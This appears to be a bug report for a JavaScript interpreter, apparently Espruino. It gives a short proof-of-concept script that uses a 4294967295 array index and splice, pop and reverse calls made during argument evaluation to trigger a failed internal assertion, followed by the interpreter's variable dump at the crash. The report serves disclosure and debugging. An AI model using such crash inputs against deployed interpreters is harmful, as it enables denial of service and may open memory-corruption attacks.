ASSERT(jsvIsInt(v)) FAILED AT src/jsvar.c:2035

[Limesss]

Reproduce: make Debug=1 POC:

function test0() {
  var c = 4294967295;
  var ary = Array();
  var func2 = function () {
    ary.pop();
    ary.pop();
    return 4;
  };

  function func3() {
    --c
    ary.reverse();
    return func2()+ 1;
  }

  ary[c] = 1;
  ary.splice(0, 0, func2(), func3());
  ary.push(2);
  ary[c] = 0;
  ary.splice(1, 0, func2(), func3());
  ary.push(3);
}
test0();

Details: ASSERT(jsvIsInt(v)) FAILED AT src/jsvar.c:2035

1[r3,l2] Object {

#2[r1,l2] Name String [1 blocks] "\xFF"      #3[r1,l1] Object { 
    #6[r1,l2] Name String [1 blocks] "timers"          #7[r2,l0] Array(0) [ ] 
    #8[r1,l2] Name String [1 blocks] "watches"          #9[r2,l0] Array(0) [ ] 
  } 
#11[r1,l2] Name String [1 blocks] "quit"      #10[r1,l0] NativeFunction 0x1a99f100 (0) { } 
#51[r1,l3] Name String [1 blocks] "test0"      #52[r1,l1] Function { 
    #53[r1,l2] Name String [1 blocks] "\xFFcod"          #56[r1,l2] FlatString [14 blocks] "var c = 4294967295;\r\n  var ary = Array();\r\n  var func2 = function () {\r\n    ary.pop();\r\n    ary.pop();\r\n    return 4;\r\n  };\r\n\r\n  function func3() {\r\n    --c\r\n    ary.reverse();\r\n    return func2()+ 1;\r\n  }\r\n\r\n  ary[c] = 1;\r\n  ary.splice(0, 0, func2(), func3());\r\n  ary.push(2);\r\n  ary[c] = 0;\r\n  ary.splice(1, 0, func2(), func3());\r\n  ary.push(3);"  
  } 
#76[r1,l2] Name String [1 blocks] "Array"      #75[r1,l0] NativeFunction 0x1a9a2cd1 (17) { } 

} EXITING.